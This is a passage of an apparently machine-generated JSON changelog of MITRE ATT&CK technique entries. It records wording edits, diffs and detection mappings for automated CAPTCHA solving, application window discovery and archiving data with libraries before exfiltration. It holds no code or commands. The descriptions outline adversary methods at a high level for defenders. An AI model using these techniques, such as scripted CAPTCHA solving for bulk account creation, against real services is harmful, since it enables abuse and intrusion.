nowrap=\"nowrap\">PTCHAs&nbsp;ask&nbsp;the&nbsp;user&nbsp;to&nbsp;decipher&nbsp;a&nbsp;string&nbsp;of&nbsp;characters,&nbsp;type</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PTCHAs&nbsp;ask&nbsp;the&nbsp;user&nbsp;to&nbsp;decipher&nbsp;a&nbsp;string&nbsp;of&nbsp;characters,&nbsp;type</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;characters&nbsp;into&nbsp;a&nbsp;box,&nbsp;and&nbsp;submit&nbsp;the&nbsp;form.&nbsp;reCAPTCHA&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;characters&nbsp;into&nbsp;a&nbsp;box,&nbsp;and&nbsp;submit&nbsp;the&nbsp;form.&nbsp;reCAPTCHA&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sks&nbsp;the&nbsp;user&nbsp;to&nbsp;identify&nbsp;images,&nbsp;click&nbsp;a&nbsp;checkbox,&nbsp;or&nbsp;evalua</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sks&nbsp;the&nbsp;user&nbsp;to&nbsp;identify&nbsp;images,&nbsp;click&nbsp;a&nbsp;checkbox,&nbsp;or&nbsp;evalua</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;the&nbsp;user\u2019s&nbsp;behavior&nbsp;from&nbsp;mouse&nbsp;movement&nbsp;and&nbsp;device&nbsp;cookie</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;the&nbsp;user\u2019s&nbsp;behavior&nbsp;from&nbsp;mouse&nbsp;movement&nbsp;and&nbsp;device&nbsp;cookie</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.(Citation:&nbsp;CAPTCHAS&nbsp;Cloudflare)&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;scri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.(Citation:&nbsp;CAPTCHAS&nbsp;Cloudflare)&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;scri</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pts&nbsp;or&nbsp;toolkits&nbsp;to&nbsp;automatically&nbsp;solve&nbsp;the&nbsp;CAPTCHA&nbsp;puzzle.&nbsp;F</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pts&nbsp;or&nbsp;toolkits&nbsp;to&nbsp;automatically&nbsp;solve&nbsp;the&nbsp;CAPTCHA&nbsp;puzzle.&nbsp;F</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;example,&nbsp;adversaries&nbsp;may&nbsp;develop&nbsp;a&nbsp;script&nbsp;that&nbsp;uses&nbsp;the&nbsp;I</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;example,&nbsp;adversaries&nbsp;may&nbsp;develop&nbsp;a&nbsp;script&nbsp;that&nbsp;uses&nbsp;the&nbsp;I</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mageMagick&nbsp;toolkit&nbsp;to&nbsp;solve&nbsp;the&nbsp;CAPTCHA&nbsp;puzzles&nbsp;to&nbsp;then&nbsp;crea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mageMagick&nbsp;toolkit&nbsp;to&nbsp;solve&nbsp;the&nbsp;CAPTCHA&nbsp;puzzles&nbsp;to&nbsp;then&nbsp;crea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;multiple&nbsp;valid&nbsp;accounts.&nbsp;ImageMagick&nbsp;tool&nbsp;can&nbsp;convert&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;multiple&nbsp;valid&nbsp;accounts.&nbsp;ImageMagick&nbsp;tool&nbsp;can&nbsp;convert&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;images&nbsp;into&nbsp;a&nbsp;RGB&nbsp;complemented&nbsp;image.&nbsp;The&nbsp;CAPTCHA&nbsp;challenge</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;images&nbsp;into&nbsp;a<span class=\"diff_add\">n</span>&nbsp;RGB&nbsp;complemented&nbsp;image.&nbsp;The&nbsp;CAPTCHA&nbsp;challeng</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;be&nbsp;solved&nbsp;by&nbsp;identifying&nbsp;and&nbsp;comparing&nbsp;attributes&nbsp;of&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;may&nbsp;be&nbsp;solved&nbsp;by&nbsp;identifying&nbsp;and&nbsp;comparing&nbsp;attributes&nbsp;of&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;RGB&nbsp;images&nbsp;to&nbsp;select&nbsp;the&nbsp;expected&nbsp;image.(Citation:&nbsp;Free&nbsp;Tr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;RGB&nbsp;images&nbsp;to&nbsp;select&nbsp;the&nbsp;expected&nbsp;image.(Citation:&nbsp;Free&nbsp;T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ial&nbsp;PurpleUrchin)&nbsp;Once&nbsp;the&nbsp;CAPTCHA&nbsp;challenge&nbsp;is&nbsp;solved,&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rial&nbsp;PurpleUrchin)&nbsp;Once&nbsp;the&nbsp;CAPTCHA&nbsp;challenge&nbsp;is&nbsp;solved,&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversary\u2019s&nbsp;script&nbsp;may&nbsp;access&nbsp;the&nbsp;protected&nbsp;page.&nbsp;After&nbsp;acce</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;adversary\u2019s&nbsp;script&nbsp;may&nbsp;access&nbsp;the&nbsp;protected&nbsp;page.&nbsp;After&nbsp;acc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssing&nbsp;the&nbsp;protected&nbsp;the&nbsp;page,&nbsp;the&nbsp;adversary&nbsp;may&nbsp;submit&nbsp;valid</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">essing&nbsp;the&nbsp;protected&nbsp;the&nbsp;page,&nbsp;the&nbsp;adversary&nbsp;may&nbsp;submit&nbsp;vali</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;forms&nbsp;to&nbsp;the&nbsp;target.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;forms&nbsp;to&nbsp;the&nbsp;target.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1031: Network Intrusion Prevention",
                            "M1037: Filter Network Traffic"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0937: Detection of Automated CAPTCHA"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:30:24.512000+00:00",
                    "modified": "2026-11-03 19:33:04.531000+00:00",
                    "name": "Application Window Discovery",
                    "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used to identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "discovery"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1010",
                            "external_id": "T1010"
                        },
                        {
                            "source_name": "ESET Grandoreiro April 2020",
                            "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.",
                            "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"
                        },
                        {
                            "source_name": "Prevailion DarkWatchman 2021",
                            "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
                            "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.3",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 19:33:04.531000+00:00\", \"old_value\": \"2026-05-12 15:12:00.630000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used to identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\\n\\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.\", \"old_value\": \"Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\\n\\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\\n+Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used to identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\\n \\n Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.\"}}}",
                    "previous_version": "1.3",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to161__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to161__0\"><a href=\"#difflib_chg_to161__top\">t</a></td><td class=\"diff_header\" id=\"from161_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;get&nbsp;a&nbsp;listing&nbsp;of&nbsp;open&nbsp;application</td><td class=\"diff_next\"><a href=\"#difflib_chg_to161__top\">t</a></td><td class=\"diff_header\" id=\"to161_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;get&nbsp;a&nbsp;listing&nbsp;of&nbsp;open&nbsp;application</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;windows.&nbsp;Window&nbsp;listings&nbsp;could&nbsp;convey&nbsp;information&nbsp;about&nbsp;how</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;windows.&nbsp;Window&nbsp;listings&nbsp;could&nbsp;convey&nbsp;information&nbsp;about&nbsp;how</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;system&nbsp;is&nbsp;used.(Citation:&nbsp;Prevailion&nbsp;DarkWatchman&nbsp;2021)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;system&nbsp;is&nbsp;used.(Citation:&nbsp;Prevailion&nbsp;DarkWatchman&nbsp;2021)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;For&nbsp;example,&nbsp;information&nbsp;about&nbsp;application&nbsp;windows&nbsp;could&nbsp;be</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;For&nbsp;example,&nbsp;information&nbsp;about&nbsp;application&nbsp;windows&nbsp;could&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;<span class=\"diff_chg\">identify&nbsp;potential&nbsp;data&nbsp;to&nbsp;collect&nbsp;as</span>&nbsp;well&nbsp;as&nbsp;identify</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;<span class=\"diff_chg\">to&nbsp;identify&nbsp;potential&nbsp;data&nbsp;to&nbsp;collect&nbsp;as</span>&nbsp;well&nbsp;as&nbsp;ident</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;security&nbsp;tooling&nbsp;([Security&nbsp;Software&nbsp;Discovery](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ifying&nbsp;security&nbsp;tooling&nbsp;([Security&nbsp;Software&nbsp;Discovery](https</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1518/001))&nbsp;to&nbsp;evade.(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">://attack.mitre.org/techniques/T1518/001))&nbsp;to&nbsp;evade.(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ESET&nbsp;Grandoreiro&nbsp;April&nbsp;2020)&nbsp;&nbsp;Adversaries&nbsp;typically&nbsp;abuse&nbsp;sy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;ESET&nbsp;Grandoreiro&nbsp;April&nbsp;2020)&nbsp;&nbsp;Adversaries&nbsp;typically&nbsp;abuse</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem&nbsp;features&nbsp;for&nbsp;this&nbsp;type&nbsp;of&nbsp;enumeration.&nbsp;For&nbsp;example,&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system&nbsp;features&nbsp;for&nbsp;this&nbsp;type&nbsp;of&nbsp;enumeration.&nbsp;For&nbsp;example,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;may&nbsp;gather&nbsp;information&nbsp;through&nbsp;native&nbsp;system&nbsp;features&nbsp;such</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">they&nbsp;may&nbsp;gather&nbsp;information&nbsp;through&nbsp;native&nbsp;system&nbsp;features&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;[Command&nbsp;and&nbsp;Scripting&nbsp;Interpreter](https://attack.mitre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uch&nbsp;as&nbsp;[Command&nbsp;and&nbsp;Scripting&nbsp;Interpreter](https://attack.mi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1059)&nbsp;commands&nbsp;and&nbsp;[Native&nbsp;API](https://att</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tre.org/techniques/T1059)&nbsp;commands&nbsp;and&nbsp;[Native&nbsp;API](https://</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1106)&nbsp;functions.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1106)&nbsp;functions.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0097: Detection of Application Window Enumeration via API or Scripting"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-20 21:08:52.529000+00:00",
                    "modified": "2026-11-04 03:34:50.230000+00:00",
                    "name": "Archive via Library",
                    "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile,(Citation: PyPI RAR) libzip,(Citation: libzip) and zlib.(Citation: Zlib Github) Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "collection"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1560/002",
                            "external_id": "T1560.002"
                        },
                        {
                            "source_name": "libzip",
                            "description": "D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.",
                            "url": "https://libzip.org/"
                        },
                        {
                            "source_name": "Zlib Github",
                            "description": "madler. (2017). zlib. Retrieved February 20, 2020.",
                            "url": "https://github.com/madler/zlib"
                        },
                        {
                            "source_name": "PyPI RAR",
                            "description": "mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.",
                            "url": "https://pypi.org/project/rarfile/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:34:50.230000+00:00\", \"old_value\": \"2025-10-24 17:48:42.345000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile,(Citation: PyPI RAR) libzip,(Citation: libzip) and zlib.(Citation: Zlib Github) Most libraries include functionality to encrypt and/or compress data.\\n\\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.\", \"old_value\": \"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\\n\\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\\n+An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile,(Citation: PyPI RAR) libzip,(Citation: libzip) and zlib.(Citation: Zlib Github) Most libraries include functionality to encrypt and/or compress data.\\n \\n Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][4]\": {\"source_name\": \"Wikipedia File Header Signatures\", \"description\": \"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.\", \"url\": \"https://en.wikipedia.org/wiki/List_of_file_signatures\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to94__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to94__0\"><a href=\"#difflib_chg_to94__top\">t</a></td><td class=\"diff_header\" id=\"from94_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;compress&nbsp;or&nbsp;encrypt&nbsp;data&nbsp;that&nbsp;is&nbsp;collected&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to94__top\">t</a></td><td class=\"diff_header\" id=\"to94_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;compress&nbsp;or&nbsp;encrypt&nbsp;data&nbsp;that&nbsp;is&nbsp;collected&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">prior&nbsp;to&nbsp;exfiltration&nbsp;using&nbsp;3rd&nbsp;party&nbsp;libraries.&nbsp;Many&nbsp;librar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">prior&nbsp;to&nbsp;exfiltration&nbsp;using&nbsp;3rd&nbsp;party&nbsp;libraries.&nbsp;Many&nbsp;librar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;exist&nbsp;that&nbsp;can&nbsp;archive&nbsp;data,&nbsp;including&nbsp;[Python](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;exist&nbsp;that&nbsp;can&nbsp;archive&nbsp;data,&nbsp;including&nbsp;[Python](https://</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1059/006)&nbsp;rarfile<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;Py</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1059/006)&nbsp;rarfile<span class=\"diff_chg\">,</span>(Citation:&nbsp;Py</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PI&nbsp;RAR),<span class=\"diff_sub\">&nbsp;libzip&nbsp;</span>(Citation:&nbsp;libzip)<span class=\"diff_chg\">,&nbsp;and</span>&nbsp;zlib<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;Zlib</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PI&nbsp;RAR)<span class=\"diff_add\">&nbsp;libzip</span>,(Citation:&nbsp;libzip)<span class=\"diff_chg\">&nbsp;and</span>&nbsp;zlib<span class=\"diff_chg\">.</span>(Citation:&nbsp;Zlib&nbsp;G</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Github)<span class=\"diff_sub\">.</span>&nbsp;Most&nbsp;libraries&nbsp;include&nbsp;functionality&nbsp;to&nbsp;encrypt&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ithub)&nbsp;Most&nbsp;libraries&nbsp;include&nbsp;functionality&nbsp;to&nbsp;encrypt&nbsp;and/o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d/or&nbsp;compress&nbsp;data.&nbsp;&nbsp;Some&nbsp;archival&nbsp;libraries&nbsp;are&nbsp;preinstalle</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;compress&nbsp;data.&nbsp;&nbsp;Some&nbsp;archival&nbsp;libraries&nbsp;are&nbsp;preinstalled&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;on&nbsp;systems,&nbsp;such&nbsp;as&nbsp;bzip2&nbsp;on&nbsp;macOS&nbsp;and&nbsp;Linux,&nbsp;and&nbsp;zip&nbsp;on&nbsp;W</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;systems,&nbsp;such&nbsp;as&nbsp;bzip2&nbsp;on&nbsp;macOS&nbsp;and&nbsp;Linux,&nbsp;and&nbsp;zip&nbsp;on&nbsp;Wind</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">indows.&nbsp;Note&nbsp;that&nbsp;the&nbsp;libraries&nbsp;are&nbsp;different&nbsp;from&nbsp;the&nbsp;utili</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ows.&nbsp;Note&nbsp;that&nbsp;the&nbsp;libraries&nbsp;are&nbsp;different&nbsp;from&nbsp;the&nbsp;utilitie</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ties.&nbsp;The&nbsp;libraries&nbsp;can&nbsp;be&nbsp;linked&nbsp;against&nbsp;when&nbsp;compiling,&nbsp;wh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 